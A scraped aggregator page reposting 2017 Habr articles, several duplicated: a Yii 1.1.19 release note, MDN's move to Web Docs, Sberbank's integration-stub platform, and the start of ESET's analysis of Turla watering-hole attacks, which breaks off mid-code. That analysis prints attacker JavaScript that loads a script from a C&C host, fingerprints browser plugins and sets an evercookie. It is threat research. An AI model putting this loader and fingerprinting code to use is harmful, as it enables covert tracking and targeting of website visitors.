Команда PHP-фреймворка Yii выпустила версию 1.1.19. Получить её можно либо через Composer, либо архивом со страницы.


Данная версия является релизом ветки Yii 1.1, которая достигла EOL и получает только исправления безопасности и поддержки PHP 7.


Релизы, такие как этот, позволяют обновить PHP на серверах с Yii 1.1 и, тем самым, обновиться на поддерживаемые командой PHP-версии.


Yii 1.1.19 совместим с PHP 7.1, патчи безопасности на который будут выходить до 1 декабря 2019.


Мы рекомендуем использовать Yii 2.0 как для новых проектов, так и для новых разработок в рамках старых проектов на Yii 1.1. Как это сделать описано в официальном руководстве. Полный переход на Yii 2.0, в большинстве случаев, означает полное переписывание кода. Совместное использование версий позволяет сделать этот переход постепенным и менее ощутимым для бюджета.


Данная версия исправляет несовместимости с PHP 7 и улучшает безопасность.


Полный список изменений доступен в CHANGELOG.
Инструкции по обновлению читайте в UPGRADE.


Спасибо всем, кто участвует в разработке фреймворка.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330498/


Метки:  

Yii 1.1.19

Четверг, 08 Июня 2017 г. 12:27 + в цитатник

Команда PHP-фреймворка Yii выпустила версию 1.1.19. Получить её можно либо через Composer, либо архивом со страницы.


Данная версия является релизом ветки Yii 1.1, которая достигла EOL и получает только исправления безопасности и поддержки PHP 7.


Релизы, такие как этот, позволяют обновить PHP на серверах с Yii 1.1 и, тем самым, обновиться на поддерживаемые командой PHP-версии.


Yii 1.1.19 совместим с PHP 7.1, патчи безопасности на который будут выходить до 1 декабря 2019.


Мы рекомендуем использовать Yii 2.0 как для новых проектов, так и для новых разработок в рамках старых проектов на Yii 1.1. Как это сделать описано в официальном руководстве. Полный переход на Yii 2.0, в большинстве случаев, означает полное переписывание кода. Совместное использование версий позволяет сделать этот переход постепенным и менее ощутимым для бюджета.


Данная версия исправляет несовместимости с PHP 7 и улучшает безопасность.


Полный список изменений доступен в CHANGELOG.
Инструкции по обновлению читайте в UPGRADE.


Спасибо всем, кто участвует в разработке фреймворка.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330498/


Метки:  

Будущее MDN — фокус на Web Docs

Четверг, 08 Июня 2017 г. 12:14 + в цитатник
На волне роста Mozilla Developer Network в сторону гораздо более крупного свода документации не только по продуктам компании (Firefox, Gecko и др.) было принято решение окончательно изменить фокус проекта и сконцентрировать его на открытых Веб-технологиях.


/ Flickr / Southbank Centre / CC

Само обновление названия с «MDN» на Web Docs связано с тем, что проект фактически не представляет из себя «сеть (для) разработчиков», а основной траффик (порядка 95%) приходится как раз на разделы, которые не имеют отношения к продуктам компании. Так или иначе, компания решила не отказываться от исторической ценности аббревиатуры и сослалась на опыт IBM и KFC.

Как выглядит представленный вариант нового логотипа:




Такое переформатирование проекта связано еще и с тем, что компания планирует предложить более удобный и понятный интерфейс с возможностью навигации по общим разделам. Это поможет исключить ситуации, когда в поисковой выдаче по теме CSS заводит разработчик получает ссылку на документацию по XUL (пример с CSS Grid и XUL Grid из поста компании).
.
Выпускать первые варианты обновленных разделов сайта проекта компания планирует в режиме бета-тестирования. Для обратной связи по теме требуется участие в соответствующей программе. Обсуждение проекта и связанных с ним изменений доступно здесь.

Общее направление развития — движение в сторону контента для разработчиков и повышение удобства работы с ним. В качестве примеров последнего компания приводит размещение примеров в шапке статей и редактируемых сниппетов в теле документа. Этот ход позволит экономить время на разбор более детальных версий той или иной документации.

О чем еще мы пишем на Хабре и в своем блоге:

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330484/


Метки:  

Будущее MDN — фокус на Web Docs

Четверг, 08 Июня 2017 г. 12:14 + в цитатник
На волне роста Mozilla Developer Network в сторону гораздо более крупного свода документации не только по продуктам компании (Firefox, Gecko и др.) было принято решение окончательно изменить фокус проекта и сконцентрировать его на открытых Веб-технологиях.


/ Flickr / Southbank Centre / CC

Само обновление названия с «MDN» на Web Docs связано с тем, что проект фактически не представляет из себя «сеть (для) разработчиков», а основной траффик (порядка 95%) приходится как раз на разделы, которые не имеют отношения к продуктам компании. Так или иначе, компания решила не отказываться от исторической ценности аббревиатуры и сослалась на опыт IBM и KFC.

Как выглядит представленный вариант нового логотипа:




Такое переформатирование проекта связано еще и с тем, что компания планирует предложить более удобный и понятный интерфейс с возможностью навигации по общим разделам. Это поможет исключить ситуации, когда в поисковой выдаче по теме CSS заводит разработчик получает ссылку на документацию по XUL (пример с CSS Grid и XUL Grid из поста компании).
.
Выпускать первые варианты обновленных разделов сайта проекта компания планирует в режиме бета-тестирования. Для обратной связи по теме требуется участие в соответствующей программе. Обсуждение проекта и связанных с ним изменений доступно здесь.

Общее направление развития — движение в сторону контента для разработчиков и повышение удобства работы с ним. В качестве примеров последнего компания приводит размещение примеров в шапке статей и редактируемых сниппетов в теле документа. Этот ход позволит экономить время на разбор более детальных версий той или иной документации.

О чем еще мы пишем на Хабре и в своем блоге:

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330484/


Метки:  

Будущее MDN — фокус на Web Docs

Четверг, 08 Июня 2017 г. 12:14 + в цитатник
На волне роста Mozilla Developer Network в сторону гораздо более крупного свода документации не только по продуктам компании (Firefox, Gecko и др.) было принято решение окончательно изменить фокус проекта и сконцентрировать его на открытых Веб-технологиях.


/ Flickr / Southbank Centre / CC

Само обновление названия с «MDN» на Web Docs связано с тем, что проект фактически не представляет из себя «сеть (для) разработчиков», а основной траффик (порядка 95%) приходится как раз на разделы, которые не имеют отношения к продуктам компании. Так или иначе, компания решила не отказываться от исторической ценности аббревиатуры и сослалась на опыт IBM и KFC.

Как выглядит представленный вариант нового логотипа:




Такое переформатирование проекта связано еще и с тем, что компания планирует предложить более удобный и понятный интерфейс с возможностью навигации по общим разделам. Это поможет исключить ситуации, когда в поисковой выдаче по теме CSS заводит разработчик получает ссылку на документацию по XUL (пример с CSS Grid и XUL Grid из поста компании).
.
Выпускать первые варианты обновленных разделов сайта проекта компания планирует в режиме бета-тестирования. Для обратной связи по теме требуется участие в соответствующей программе. Обсуждение проекта и связанных с ним изменений доступно здесь.

Общее направление развития — движение в сторону контента для разработчиков и повышение удобства работы с ним. В качестве примеров последнего компания приводит размещение примеров в шапке статей и редактируемых сниппетов в теле документа. Этот ход позволит экономить время на разбор более детальных версий той или иной документации.

О чем еще мы пишем на Хабре и в своем блоге:

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330484/


Метки:  

Умные заглушки для интеграции

Четверг, 08 Июня 2017 г. 12:05 + в цитатник
Прошли те времена, когда банковские системы представляли из себя большие монолитные приложения, неспешно обновляющиеся с учетом требований регулятора. Сейчас это сотни взаимодействующих между собой подсистем и тысячи модулей,  которые непрерывно развиваются вместе с новыми требованиями бизнеса и быстро меняющимся IT-пространством. На разработку всего этого брошены сотни отдельных боевых единиц — Agile-команды.



Представили себе это? Да, дух захватывает. Тем не менее это обычные будни разработчиков Единой Фронтальной Системы Сбербанка. Две сотни команд одновременно занимаются развитием платформы, ежедневно решая сложные и нетривиальные задачи, направленные на оптимизацию и синхронизацию процессов.
 
О синхронизации и оптимизации можно говорить долго, эта тема заслуживает отдельной книги. В данной статье мы затронем лишь небольшую часть – оптимизацию разработки интеграционного взаимодействия, поделимся своим опытом и расскажем, как интегрироваться с сотней систем и никого не ждать.
 
Вопрос, который нас волнует в первую очередь — как всем командам, каждая из которых зависит от множества других команд, успеть сделать свою разработку качественно, с соблюдением всех сроков, и чтобы при стыковке со смежными системами на интеграционном полигоне получить ожидаемый результат? 
 
И мы нашли два ответа на него: единое информационное пространство и максимальная автоматизация разработки и развертывания.
 
Сейчас нашим центром интеграции является «Единый реестр интеграционного взаимодействия». Реестр содержит информацию по всем подсистемам и сервисам, детали интеграционного взаимодействия, атрибутивный состав, описание источников данных и реестр использования, форматы, протоколы и другие характеристики, необходимые для точного и однозначного описания каждого взаимодействия. Кроме того, он связан с аналогичными реестрами других систем банка. Все это формирует единое информационное пространство.
 
С единым информационным пространством понятно, что насчет автоматизации? Чем больше кода будет сгенерировано автоматически, тем меньше будет затрат и тем выше качество конечного продукта. Для разработки интеграционного взаимодействия это важно вдвойне, поскольку множество разрабатываемых по отдельности систем должны совместно взаимодействовать и понимать друг друга.
 
Как вы, наверное, догадались, реестр интеграционного взаимодействия нужен не только для ведения справочной информации. На основании данных реестра происходит автоматическая генерация интеграционных компонентов (интеграционного слоя). Это избавляет команды от дополнительной рутинной разработки, формирует единую интеграционную архитектуру и гарантирует согласованность взаимодействия согласно заявленным контрактам.

Да, действительно удобно, но это еще не все. Команда завела все свои интеграции в реестр, получила сгенерированный интеграционный слой и … стоп. Функциональность разрабатываемых командой модулей зависит от смежных систем, которые сами находятся в процессе разработки. Как быть? К тому же, в конце спринта Владелец продукта (Product owner) захочет увидеть результат работы команды. Возможно, вместе со стейкхолдерами захочет сделать какие-нибудь корректировки бэклога. Agile, как-никак.
 

Что делать?


Правильно, нужно заглушить отсутствующие интеграционные взаимодействия. И тут все команды кинулись писать свои заглушки.

Времени катастрофически не хватает, есть большой соблазн заглушить взаимодействие, затрачивая минимальные усилия. Например, добавить возвращение результата непосредственно в код вызывающей функции. Не совсем честно, согласны, зато не нужно тратить время на написание отдельных компонентов, разворачивать и настраивать различные брокеры сообщений. Да, на следующем спринте многое придется поменять, да, нет гарантии, что смежные системы будут работать аналогично этой реализации, но времени нет — нужно завершать спринт, тут не до  оптимизации затрат.
 
И тут на помощь снова приходит Единый реестр интеграционного взаимодействия. Предположим, он уже используется для генерации интеграционных компонентов, тогда что мешает сразу сгенерировать соответствующие заглушки, автоматически развернуть их на общей инфраструктуре, доступной из девелоперской и демонстрационной среды. А если добавить к этому отдельный инструмент для создания тестовых сценариев, чтобы их могли писать не только разработчики, но и тестировщики или аналитики, которые как раз детально прорабатывают все взаимодействия и хорошо знают форматы, атрибуты и варианты использования каждого сервиса. А если еще и дополнительно объединить написанные разными командами тестовые сценарии в общий каталог, то тогда мы получим настоящие «умные заглушки».



Умные заглушки ЕФС


Сейчас наши «умные заглушки» поддерживают стандарт обмена сообщениями JMS. Это позволяет обеспечить эмуляцию большинства взаимодействий Единой фронтальной системы со смежными системами. При этом реализована поддержка четырех типов взаимодействия:

  • запрос ЕФС/ответ внешняя АС;
  • запрос ЕФС/без ответ внешней АС (нотификация);
  • запрос от внешней АС/без ответа от ЕФС (нотификация);
  • запрос от внешней АС/с ответом от ЕФС.

Для выбора шаблона ответа используются условия на входящие сообщения с применением нотации XPath. Генерация ответов по заданным шаблонам происходит с помощью FreeMarker’a. Поддерживается валидация запроса/ответа по XSD схеме. Все запросы и ответы логируются в базу данных.



Выше мы упоминали, что основные разработчики заглушек и тестовых сценариев — это тестировщики и аналитики. Аналитики непосредственно занимаются проработкой интеграционных взаимодействий, описывают атрибутивный состав сервисов, варианты использования и последовательности вызовов. Тестировщики формируют тестовые сценарии с учетом пользовательских историй (User Story). С учетом этого все настройки заглушек и написание тестовых сценариев осуществляются через удобный веб-интерфейс, при этом навыки программирования не требуются. Большое внимание уделено работе с логами сообщений: фильтрация, просмотр списка вызовов и детальной информации по каждому вызову. Эта функциональность необходима при разборе работы заглушек и для понимания  работы тестовых сценариев.
 
А теперь представим, что часть смежных систем уже готова, некоторые выпускаются в текущем спринте, а что-то будет разработано позже. Централизованный выпуск интеграционного слоя позволяет управлять конфигурацией адаптеров и заглушек из единой Системы управления параметрами (СУП). Настройка адаптеров на работу с реальными системами или заглушками осуществляется через СУП, при этом переключение происходит в реальном времени без перезапуска и тем более без пересборки приложений.
 
С учетом того, что умные заглушки предоставляются по сервисной модели, и командам не нужно развертывать собственную инфраструктуру (искать сервера, что-то устанавливать и настраивать), новые заглушки можно создать и начать использовать в несколько кликов. Согласитесь, в условиях сжатых сроков это большая помощь.
 
Упрощение разработки заглушек — это, конечно, хорошо. Но можно ли при этом совсем обойтись без каких-либо затрат? Как ни странно, но да. Чем больше заглушек разрабатывается, тем выше вероятность их переиспользования. Для упрощения поиска реализованных заглушек у нас есть отдельный реестр. Прежде чем разрабатывать собственную заглушку мы ищем в реестре по мастер-системе и по сервису все тестовые сценарии, уже написанные для этого взаимодействия. И если нужные заглушки уже разработаны, то мы просто используем их без каких-либо затрат. Если нет, то либо что-то дорабатываем в текущих сценариях, либо формируем новые заглушки. Все раздельные области тестирования можно использовать, это очень удобно, поскольку позволяет избежать взаимного влияния:
 


И напоследок


Внедрение единого информационного пространства интеграционного взаимодействия ЕФС вместе с автоматизацией разработки и развертывания интеграционного слоя и умных заглушек позволило существенно сократить затраты, повысить качество и согласованность интеграционного взаимодействия, а также обеспечило возможность вести синхронную разработку множеству команд с использованием гибкой (Agile) методологии.

Сделано уже много, но судя по запросам команд и по сформированному roadmap’у это только начало. В ближайших планах:

  • Расширение поддерживаемых протоколов и форматов: http, kafka, json.
  • Поддержка комплексных тестовых сценариев, включающих несколько вызовов, и сохранение промежуточных результатов в контексте единого тестового сценария.
  • Возможность вызовов внешних сервисов и запись реальных ответов для последующего использования в заглушках.
  • Поддержка плагинов для расширения возможностей эмуляции.

Задач много, и все нужно сделать вчера. Поэтому у нас поощряется совместная разработка. Каждая команда может доработать функциональность умных заглушек или реестра. Сделав необходимую доработку для себя, команда реализует это для всех остальных. Совместное развитие инструментария позволяет существенно ускорить развитие продуктов и сроки реализации roadmap'a.

А что вы думаете об этом? Если вам близка и интересна тема интеграции, будем рады побеседовать в комментариях к посту.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330376/


Метки:  

Умные заглушки для интеграции

Четверг, 08 Июня 2017 г. 12:05 + в цитатник
Прошли те времена, когда банковские системы представляли из себя большие монолитные приложения, неспешно обновляющиеся с учетом требований регулятора. Сейчас это сотни взаимодействующих между собой подсистем и тысячи модулей,  которые непрерывно развиваются вместе с новыми требованиями бизнеса и быстро меняющимся IT-пространством. На разработку всего этого брошены сотни отдельных боевых единиц — Agile-команды.



Представили себе это? Да, дух захватывает. Тем не менее это обычные будни разработчиков Единой Фронтальной Системы Сбербанка. Две сотни команд одновременно занимаются развитием платформы, ежедневно решая сложные и нетривиальные задачи, направленные на оптимизацию и синхронизацию процессов.
 
О синхронизации и оптимизации можно говорить долго, эта тема заслуживает отдельной книги. В данной статье мы затронем лишь небольшую часть – оптимизацию разработки интеграционного взаимодействия, поделимся своим опытом и расскажем, как интегрироваться с сотней систем и никого не ждать.
 
Вопрос, который нас волнует в первую очередь — как всем командам, каждая из которых зависит от множества других команд, успеть сделать свою разработку качественно, с соблюдением всех сроков, и чтобы при стыковке со смежными системами на интеграционном полигоне получить ожидаемый результат? 
 
И мы нашли два ответа на него: единое информационное пространство и максимальная автоматизация разработки и развертывания.
 
Сейчас нашим центром интеграции является «Единый реестр интеграционного взаимодействия». Реестр содержит информацию по всем подсистемам и сервисам, детали интеграционного взаимодействия, атрибутивный состав, описание источников данных и реестр использования, форматы, протоколы и другие характеристики, необходимые для точного и однозначного описания каждого взаимодействия. Кроме того, он связан с аналогичными реестрами других систем банка. Все это формирует единое информационное пространство.
 
С единым информационным пространством понятно, что насчет автоматизации? Чем больше кода будет сгенерировано автоматически, тем меньше будет затрат и тем выше качество конечного продукта. Для разработки интеграционного взаимодействия это важно вдвойне, поскольку множество разрабатываемых по отдельности систем должны совместно взаимодействовать и понимать друг друга.
 
Как вы, наверное, догадались, реестр интеграционного взаимодействия нужен не только для ведения справочной информации. На основании данных реестра происходит автоматическая генерация интеграционных компонентов (интеграционного слоя). Это избавляет команды от дополнительной рутинной разработки, формирует единую интеграционную архитектуру и гарантирует согласованность взаимодействия согласно заявленным контрактам.

Да, действительно удобно, но это еще не все. Команда завела все свои интеграции в реестр, получила сгенерированный интеграционный слой и … стоп. Функциональность разрабатываемых командой модулей зависит от смежных систем, которые сами находятся в процессе разработки. Как быть? К тому же, в конце спринта Владелец продукта (Product owner) захочет увидеть результат работы команды. Возможно, вместе со стейкхолдерами захочет сделать какие-нибудь корректировки бэклога. Agile, как-никак.
 

Что делать?


Правильно, нужно заглушить отсутствующие интеграционные взаимодействия. И тут все команды кинулись писать свои заглушки.

Времени катастрофически не хватает, есть большой соблазн заглушить взаимодействие, затрачивая минимальные усилия. Например, добавить возвращение результата непосредственно в код вызывающей функции. Не совсем честно, согласны, зато не нужно тратить время на написание отдельных компонентов, разворачивать и настраивать различные брокеры сообщений. Да, на следующем спринте многое придется поменять, да, нет гарантии, что смежные системы будут работать аналогично этой реализации, но времени нет — нужно завершать спринт, тут не до  оптимизации затрат.
 
И тут на помощь снова приходит Единый реестр интеграционного взаимодействия. Предположим, он уже используется для генерации интеграционных компонентов, тогда что мешает сразу сгенерировать соответствующие заглушки, автоматически развернуть их на общей инфраструктуре, доступной из девелоперской и демонстрационной среды. А если добавить к этому отдельный инструмент для создания тестовых сценариев, чтобы их могли писать не только разработчики, но и тестировщики или аналитики, которые как раз детально прорабатывают все взаимодействия и хорошо знают форматы, атрибуты и варианты использования каждого сервиса. А если еще и дополнительно объединить написанные разными командами тестовые сценарии в общий каталог, то тогда мы получим настоящие «умные заглушки».



Умные заглушки ЕФС


Сейчас наши «умные заглушки» поддерживают стандарт обмена сообщениями JMS. Это позволяет обеспечить эмуляцию большинства взаимодействий Единой фронтальной системы со смежными системами. При этом реализована поддержка четырех типов взаимодействия:

  • запрос ЕФС/ответ внешняя АС;
  • запрос ЕФС/без ответ внешней АС (нотификация);
  • запрос от внешней АС/без ответа от ЕФС (нотификация);
  • запрос от внешней АС/с ответом от ЕФС.

Для выбора шаблона ответа используются условия на входящие сообщения с применением нотации XPath. Генерация ответов по заданным шаблонам происходит с помощью FreeMarker’a. Поддерживается валидация запроса/ответа по XSD схеме. Все запросы и ответы логируются в базу данных.



Выше мы упоминали, что основные разработчики заглушек и тестовых сценариев — это тестировщики и аналитики. Аналитики непосредственно занимаются проработкой интеграционных взаимодействий, описывают атрибутивный состав сервисов, варианты использования и последовательности вызовов. Тестировщики формируют тестовые сценарии с учетом пользовательских историй (User Story). С учетом этого все настройки заглушек и написание тестовых сценариев осуществляются через удобный веб-интерфейс, при этом навыки программирования не требуются. Большое внимание уделено работе с логами сообщений: фильтрация, просмотр списка вызовов и детальной информации по каждому вызову. Эта функциональность необходима при разборе работы заглушек и для понимания  работы тестовых сценариев.
 
А теперь представим, что часть смежных систем уже готова, некоторые выпускаются в текущем спринте, а что-то будет разработано позже. Централизованный выпуск интеграционного слоя позволяет управлять конфигурацией адаптеров и заглушек из единой Системы управления параметрами (СУП). Настройка адаптеров на работу с реальными системами или заглушками осуществляется через СУП, при этом переключение происходит в реальном времени без перезапуска и тем более без пересборки приложений.
 
С учетом того, что умные заглушки предоставляются по сервисной модели, и командам не нужно развертывать собственную инфраструктуру (искать сервера, что-то устанавливать и настраивать), новые заглушки можно создать и начать использовать в несколько кликов. Согласитесь, в условиях сжатых сроков это большая помощь.
 
Упрощение разработки заглушек — это, конечно, хорошо. Но можно ли при этом совсем обойтись без каких-либо затрат? Как ни странно, но да. Чем больше заглушек разрабатывается, тем выше вероятность их переиспользования. Для упрощения поиска реализованных заглушек у нас есть отдельный реестр. Прежде чем разрабатывать собственную заглушку мы ищем в реестре по мастер-системе и по сервису все тестовые сценарии, уже написанные для этого взаимодействия. И если нужные заглушки уже разработаны, то мы просто используем их без каких-либо затрат. Если нет, то либо что-то дорабатываем в текущих сценариях, либо формируем новые заглушки. Все раздельные области тестирования можно использовать, это очень удобно, поскольку позволяет избежать взаимного влияния:
 


И напоследок


Внедрение единого информационного пространства интеграционного взаимодействия ЕФС вместе с автоматизацией разработки и развертывания интеграционного слоя и умных заглушек позволило существенно сократить затраты, повысить качество и согласованность интеграционного взаимодействия, а также обеспечило возможность вести синхронную разработку множеству команд с использованием гибкой (Agile) методологии.

Сделано уже много, но судя по запросам команд и по сформированному roadmap’у это только начало. В ближайших планах:

  • Расширение поддерживаемых протоколов и форматов: http, kafka, json.
  • Поддержка комплексных тестовых сценариев, включающих несколько вызовов, и сохранение промежуточных результатов в контексте единого тестового сценария.
  • Возможность вызовов внешних сервисов и запись реальных ответов для последующего использования в заглушках.
  • Поддержка плагинов для расширения возможностей эмуляции.

Задач много, и все нужно сделать вчера. Поэтому у нас поощряется совместная разработка. Каждая команда может доработать функциональность умных заглушек или реестра. Сделав необходимую доработку для себя, команда реализует это для всех остальных. Совместное развитие инструментария позволяет существенно ускорить развитие продуктов и сроки реализации roadmap'a.

А что вы думаете об этом? Если вам близка и интересна тема интеграции, будем рады побеседовать в комментариях к посту.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330376/


Метки:  

Умные заглушки для интеграции

Четверг, 08 Июня 2017 г. 12:05 + в цитатник
Прошли те времена, когда банковские системы представляли из себя большие монолитные приложения, неспешно обновляющиеся с учетом требований регулятора. Сейчас это сотни взаимодействующих между собой подсистем и тысячи модулей,  которые непрерывно развиваются вместе с новыми требованиями бизнеса и быстро меняющимся IT-пространством. На разработку всего этого брошены сотни отдельных боевых единиц — Agile-команды.



Представили себе это? Да, дух захватывает. Тем не менее это обычные будни разработчиков Единой Фронтальной Системы Сбербанка. Две сотни команд одновременно занимаются развитием платформы, ежедневно решая сложные и нетривиальные задачи, направленные на оптимизацию и синхронизацию процессов.
 
О синхронизации и оптимизации можно говорить долго, эта тема заслуживает отдельной книги. В данной статье мы затронем лишь небольшую часть – оптимизацию разработки интеграционного взаимодействия, поделимся своим опытом и расскажем, как интегрироваться с сотней систем и никого не ждать.
 
Вопрос, который нас волнует в первую очередь — как всем командам, каждая из которых зависит от множества других команд, успеть сделать свою разработку качественно, с соблюдением всех сроков, и чтобы при стыковке со смежными системами на интеграционном полигоне получить ожидаемый результат? 
 
И мы нашли два ответа на него: единое информационное пространство и максимальная автоматизация разработки и развертывания.
 
Сейчас нашим центром интеграции является «Единый реестр интеграционного взаимодействия». Реестр содержит информацию по всем подсистемам и сервисам, детали интеграционного взаимодействия, атрибутивный состав, описание источников данных и реестр использования, форматы, протоколы и другие характеристики, необходимые для точного и однозначного описания каждого взаимодействия. Кроме того, он связан с аналогичными реестрами других систем банка. Все это формирует единое информационное пространство.
 
С единым информационным пространством понятно, что насчет автоматизации? Чем больше кода будет сгенерировано автоматически, тем меньше будет затрат и тем выше качество конечного продукта. Для разработки интеграционного взаимодействия это важно вдвойне, поскольку множество разрабатываемых по отдельности систем должны совместно взаимодействовать и понимать друг друга.
 
Как вы, наверное, догадались, реестр интеграционного взаимодействия нужен не только для ведения справочной информации. На основании данных реестра происходит автоматическая генерация интеграционных компонентов (интеграционного слоя). Это избавляет команды от дополнительной рутинной разработки, формирует единую интеграционную архитектуру и гарантирует согласованность взаимодействия согласно заявленным контрактам.

Да, действительно удобно, но это еще не все. Команда завела все свои интеграции в реестр, получила сгенерированный интеграционный слой и … стоп. Функциональность разрабатываемых командой модулей зависит от смежных систем, которые сами находятся в процессе разработки. Как быть? К тому же, в конце спринта Владелец продукта (Product owner) захочет увидеть результат работы команды. Возможно, вместе со стейкхолдерами захочет сделать какие-нибудь корректировки бэклога. Agile, как-никак.
 

Что делать?


Правильно, нужно заглушить отсутствующие интеграционные взаимодействия. И тут все команды кинулись писать свои заглушки.

Времени катастрофически не хватает, есть большой соблазн заглушить взаимодействие, затрачивая минимальные усилия. Например, добавить возвращение результата непосредственно в код вызывающей функции. Не совсем честно, согласны, зато не нужно тратить время на написание отдельных компонентов, разворачивать и настраивать различные брокеры сообщений. Да, на следующем спринте многое придется поменять, да, нет гарантии, что смежные системы будут работать аналогично этой реализации, но времени нет — нужно завершать спринт, тут не до  оптимизации затрат.
 
И тут на помощь снова приходит Единый реестр интеграционного взаимодействия. Предположим, он уже используется для генерации интеграционных компонентов, тогда что мешает сразу сгенерировать соответствующие заглушки, автоматически развернуть их на общей инфраструктуре, доступной из девелоперской и демонстрационной среды. А если добавить к этому отдельный инструмент для создания тестовых сценариев, чтобы их могли писать не только разработчики, но и тестировщики или аналитики, которые как раз детально прорабатывают все взаимодействия и хорошо знают форматы, атрибуты и варианты использования каждого сервиса. А если еще и дополнительно объединить написанные разными командами тестовые сценарии в общий каталог, то тогда мы получим настоящие «умные заглушки».



Умные заглушки ЕФС


Сейчас наши «умные заглушки» поддерживают стандарт обмена сообщениями JMS. Это позволяет обеспечить эмуляцию большинства взаимодействий Единой фронтальной системы со смежными системами. При этом реализована поддержка четырех типов взаимодействия:

  • запрос ЕФС/ответ внешняя АС;
  • запрос ЕФС/без ответ внешней АС (нотификация);
  • запрос от внешней АС/без ответа от ЕФС (нотификация);
  • запрос от внешней АС/с ответом от ЕФС.

Для выбора шаблона ответа используются условия на входящие сообщения с применением нотации XPath. Генерация ответов по заданным шаблонам происходит с помощью FreeMarker’a. Поддерживается валидация запроса/ответа по XSD схеме. Все запросы и ответы логируются в базу данных.



Выше мы упоминали, что основные разработчики заглушек и тестовых сценариев — это тестировщики и аналитики. Аналитики непосредственно занимаются проработкой интеграционных взаимодействий, описывают атрибутивный состав сервисов, варианты использования и последовательности вызовов. Тестировщики формируют тестовые сценарии с учетом пользовательских историй (User Story). С учетом этого все настройки заглушек и написание тестовых сценариев осуществляются через удобный веб-интерфейс, при этом навыки программирования не требуются. Большое внимание уделено работе с логами сообщений: фильтрация, просмотр списка вызовов и детальной информации по каждому вызову. Эта функциональность необходима при разборе работы заглушек и для понимания  работы тестовых сценариев.
 
А теперь представим, что часть смежных систем уже готова, некоторые выпускаются в текущем спринте, а что-то будет разработано позже. Централизованный выпуск интеграционного слоя позволяет управлять конфигурацией адаптеров и заглушек из единой Системы управления параметрами (СУП). Настройка адаптеров на работу с реальными системами или заглушками осуществляется через СУП, при этом переключение происходит в реальном времени без перезапуска и тем более без пересборки приложений.
 
С учетом того, что умные заглушки предоставляются по сервисной модели, и командам не нужно развертывать собственную инфраструктуру (искать сервера, что-то устанавливать и настраивать), новые заглушки можно создать и начать использовать в несколько кликов. Согласитесь, в условиях сжатых сроков это большая помощь.
 
Упрощение разработки заглушек — это, конечно, хорошо. Но можно ли при этом совсем обойтись без каких-либо затрат? Как ни странно, но да. Чем больше заглушек разрабатывается, тем выше вероятность их переиспользования. Для упрощения поиска реализованных заглушек у нас есть отдельный реестр. Прежде чем разрабатывать собственную заглушку мы ищем в реестре по мастер-системе и по сервису все тестовые сценарии, уже написанные для этого взаимодействия. И если нужные заглушки уже разработаны, то мы просто используем их без каких-либо затрат. Если нет, то либо что-то дорабатываем в текущих сценариях, либо формируем новые заглушки. Все раздельные области тестирования можно использовать, это очень удобно, поскольку позволяет избежать взаимного влияния:
 


И напоследок


Внедрение единого информационного пространства интеграционного взаимодействия ЕФС вместе с автоматизацией разработки и развертывания интеграционного слоя и умных заглушек позволило существенно сократить затраты, повысить качество и согласованность интеграционного взаимодействия, а также обеспечило возможность вести синхронную разработку множеству команд с использованием гибкой (Agile) методологии.

Сделано уже много, но судя по запросам команд и по сформированному roadmap’у это только начало. В ближайших планах:

  • Расширение поддерживаемых протоколов и форматов: http, kafka, json.
  • Поддержка комплексных тестовых сценариев, включающих несколько вызовов, и сохранение промежуточных результатов в контексте единого тестового сценария.
  • Возможность вызовов внешних сервисов и запись реальных ответов для последующего использования в заглушках.
  • Поддержка плагинов для расширения возможностей эмуляции.

Задач много, и все нужно сделать вчера. Поэтому у нас поощряется совместная разработка. Каждая команда может доработать функциональность умных заглушек или реестра. Сделав необходимую доработку для себя, команда реализует это для всех остальных. Совместное развитие инструментария позволяет существенно ускорить развитие продуктов и сроки реализации roadmap'a.

А что вы думаете об этом? Если вам близка и интересна тема интеграции, будем рады побеседовать в комментариях к посту.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330376/


Метки:  

Киберкампания watering hole от Turla: обновленное расширение для Firefox использует Instagram

Четверг, 08 Июня 2017 г. 12:04 + в цитатник
Некоторые схемы АРТ-атак не меняются годами. Например, атаки watering hole в исполнении кибергруппы Turla. Эта группировка специализируется на кибершпионаже, ее основные цели – правительственные и дипломатические учреждения. Схему watering hole хакеры используют для перенаправления потенциальных жертв на свою C&C-инфраструктуру как минимум с 2014 года, иногда внося небольшие изменения в принцип работы.



Мы в ESET следим за кампаниями Turla и недавно обнаружили, что хакеры вернулись к использованию метода, заброшенного на несколько месяцев.

Начальные этапы компрометации


Ниже в разделе с индикаторами заражения есть список сайтов, которые Turla использовали в атаках watering hole в прошлом. Что характерно для этой группировки, в списке много сайтов, связанных с посольствами разных стран.

Переадресация осуществляется благодаря фрагменту кода, который хакеры добавляют к оригинальной странице. Скрипты, которые мы обнаружили за последние несколько месяцев, выглядят следующим образом:



Примечательно, что хакеры добавили ссылку на Clicky – приложение для веб-аналитики. Вероятно, таким образом они создают видимость легитимности скрипта для неспециалиста, хотя само приложение в атаке не используется.

Добавленный скрипт вызывает другой скрипт по адресу mentalhealthcheck.net/update/counter.js. Этот сервер хакеры Turla используют для отправки жертвам скриптов цифровых отпечатков, которые собирают информацию о системе, в которой запущены. Похожим образом использовалась ссылка на скрипт Google Analytics, но в последнее время мы чаще видим Clicky. В разделе с индикаторами заражения вы найдете список C&C-серверов, которые мы обнаружили в последние месяцы. Это первоначально легитимные серверы, которые были заражены.

Следующий этап – доставка цифровых отпечатков JavaScript потенциальным жертвам. Для этого C&C-сервер фильтрует посетителей по IP-адресам. Если посетитель входит в диапазон целевых IP-адресов, он получит скрипт цифровых отпечатков, если нет – безвредный скрипт. Ниже выдержка из скрипта, который получают целевые пользователи:

function cb_custom() {
    loadScript("http://www.mentalhealthcheck.net/script/pde.js", cb_custom1);
}

function cb_custom1() {
    PluginDetect.getVersion('.');

    myResults['Java']=PluginDetect.getVersion('Java');
    myResults['Flash']=PluginDetect.getVersion('Flash');
    myResults['Shockwave']=PluginDetect.getVersion('Shockwave');
    myResults['AdobeReader']=PluginDetect.getVersion('AdobeReader') || PluginDetect.getVersion('PDFReader');

    var ec = new evercookie();
    ec.get('thread', getCookie)

